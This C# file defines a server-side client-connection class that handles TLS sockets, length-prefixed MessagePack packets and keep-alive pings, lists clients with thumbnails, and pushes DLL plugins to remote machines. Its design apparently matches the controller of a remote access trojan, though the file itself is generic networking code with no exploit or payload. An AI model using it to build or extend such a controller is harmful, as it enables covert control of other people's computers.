276 lines
9.9 KiB
C#
276 lines
9.9 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Net.Sockets;
|
|
using System.Windows.Forms;
|
|
using Server.Handle_Packet;
|
|
using System.Drawing;
|
|
using System.Diagnostics;
|
|
using System.Threading;
|
|
using Server.MessagePack;
|
|
using System.Net.Security;
|
|
using System.Security.Authentication;
|
|
using Server.Algorithm;
|
|
using Microsoft.VisualBasic;
|
|
using System.Collections.Generic;
|
|
|
|
namespace Server.Connection
|
|
{
|
|
public class Clients
|
|
{
|
|
public Socket TcpClient { get; set; }
|
|
public SslStream SslClient { get; set; }
|
|
public ListViewItem LV { get; set; }
|
|
public ListViewItem LV2 { get; set; }
|
|
public string ID { get; set; }
|
|
private byte[] ClientBuffer { get; set; }
|
|
private int ClientBuffersize { get; set; }
|
|
private bool ClientBufferRecevied { get; set; }
|
|
private MemoryStream ClientMS { get; set; }
|
|
public object SendSync { get; set; }
|
|
public long BytesRecevied { get; set; }
|
|
|
|
public Clients(Socket socket)
|
|
{
|
|
SendSync = new object();
|
|
TcpClient = socket;
|
|
SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
|
|
SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
|
|
}
|
|
|
|
private void EndAuthenticate(IAsyncResult ar)
|
|
{
|
|
try
|
|
{
|
|
SslClient.EndAuthenticateAsServer(ar);
|
|
ClientBuffer = new byte[4];
|
|
ClientMS = new MemoryStream();
|
|
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
|
}
|
|
catch
|
|
{
|
|
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
|
|
SslClient?.Dispose();
|
|
TcpClient?.Dispose();
|
|
}
|
|
}
|
|
|
|
public async void ReadClientData(IAsyncResult ar)
|
|
{
|
|
try
|
|
{
|
|
if (!TcpClient.Connected)
|
|
{
|
|
Disconnected();
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
int Recevied = SslClient.EndRead(ar);
|
|
if (Recevied > 0)
|
|
{
|
|
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
|
|
if (!ClientBufferRecevied)
|
|
{
|
|
if (ClientMS.Length == 4)
|
|
{
|
|
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
|
|
ClientMS.Dispose();
|
|
ClientMS = new MemoryStream();
|
|
if (ClientBuffersize > 0)
|
|
{
|
|
ClientBuffer = new byte[ClientBuffersize];
|
|
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
|
|
ClientBufferRecevied = true;
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Settings.Received += Recevied;
|
|
BytesRecevied += Recevied;
|
|
if (ClientMS.Length == ClientBuffersize)
|
|
{
|
|
|
|
ThreadPool.QueueUserWorkItem(new Packet
|
|
{
|
|
client = this,
|
|
data = ClientMS.ToArray(),
|
|
}.Read, null);
|
|
|
|
ClientBuffer = new byte[4];
|
|
ClientMS.Dispose();
|
|
ClientMS = new MemoryStream();
|
|
ClientBufferRecevied = false;
|
|
}
|
|
}
|
|
SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
|
|
}
|
|
else
|
|
{
|
|
Disconnected();
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Disconnected();
|
|
return;
|
|
}
|
|
}
|
|
|
|
public void Disconnected()
|
|
{
|
|
if (LV != null)
|
|
{
|
|
Program.form1.Invoke((MethodInvoker)(() =>
|
|
{
|
|
try
|
|
{
|
|
|
|
lock (Settings.LockListviewClients)
|
|
LV.Remove();
|
|
|
|
if (LV2 != null)
|
|
{
|
|
lock (Settings.LockListviewThumb)
|
|
LV2.Remove();
|
|
}
|
|
}
|
|
catch { }
|
|
}));
|
|
new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red);
|
|
}
|
|
|
|
try
|
|
{
|
|
SslClient?.Dispose();
|
|
TcpClient?.Dispose();
|
|
ClientMS?.Dispose();
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public void Send(object msg)
|
|
{
|
|
lock (SendSync)
|
|
{
|
|
try
|
|
{
|
|
if (!TcpClient.Connected)
|
|
{
|
|
Disconnected();
|
|
return;
|
|
}
|
|
|
|
if ((byte[])msg == null) return;
|
|
byte[] buffer = (byte[])msg;
|
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
|
SslClient.Write(buffersize, 0, buffersize.Length);
|
|
|
|
if (buffer.Length > 1000000) //1mb
|
|
{
|
|
Debug.WriteLine("send chunks");
|
|
int chunkSize = 50 * 1024;
|
|
byte[] chunk = new byte[chunkSize];
|
|
using (MemoryStream buffereReader = new MemoryStream(buffer))
|
|
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
|
|
{
|
|
int bytesToRead = (int)buffereReader.Length;
|
|
do
|
|
{
|
|
chunk = binaryReader.ReadBytes(chunkSize);
|
|
bytesToRead -= chunkSize;
|
|
SslClient.Write(chunk, 0, chunk.Length);
|
|
SslClient.Flush();
|
|
Settings.Sent += chunk.Length;
|
|
} while (bytesToRead > 0);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
SslClient.Write(buffer, 0, buffer.Length);
|
|
SslClient.Flush();
|
|
Settings.Sent += buffer.Length;
|
|
}
|
|
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
|
|
}
|
|
catch
|
|
{
|
|
Disconnected();
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
public void CheckPlugin(object o) // send all plugins md5 hash to client
|
|
{
|
|
try
|
|
{
|
|
List<string> plugins = new List<string>();
|
|
foreach (var plugin in Settings.Plugins)
|
|
{
|
|
plugins.Add(plugin.Key);
|
|
}
|
|
if (plugins.Count > 0)
|
|
{
|
|
MsgPack msgPack = new MsgPack();
|
|
msgPack.ForcePathObject("Packet").SetAsString("checkPlugin");
|
|
msgPack.ForcePathObject("Hash").SetAsString(string.Join(",", plugins));
|
|
ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
|
|
}
|
|
}
|
|
|
|
public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
|
|
{
|
|
try
|
|
{
|
|
foreach (var plugin in Settings.Plugins)
|
|
{
|
|
if (hash == plugin.Key)
|
|
{
|
|
MsgPack msgPack = new MsgPack();
|
|
msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
|
|
msgPack.ForcePathObject("Dll").SetAsString(plugin.Value);
|
|
msgPack.ForcePathObject("Hash").SetAsString(plugin.Key);
|
|
ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes());
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
|
|
}
|
|
}
|
|
|
|
public void KeepAlivePacket(object o)
|
|
{
|
|
lock (SendSync)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
|
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
|
byte[] buffer = msgpack.Encode2Bytes();
|
|
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
SslClient.Write(buffersize, 0, buffersize.Length);
|
|
SslClient.Write(buffer, 0, buffer.Length);
|
|
SslClient.Flush();
|
|
}
|
|
catch
|
|
{
|
|
Disconnected();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|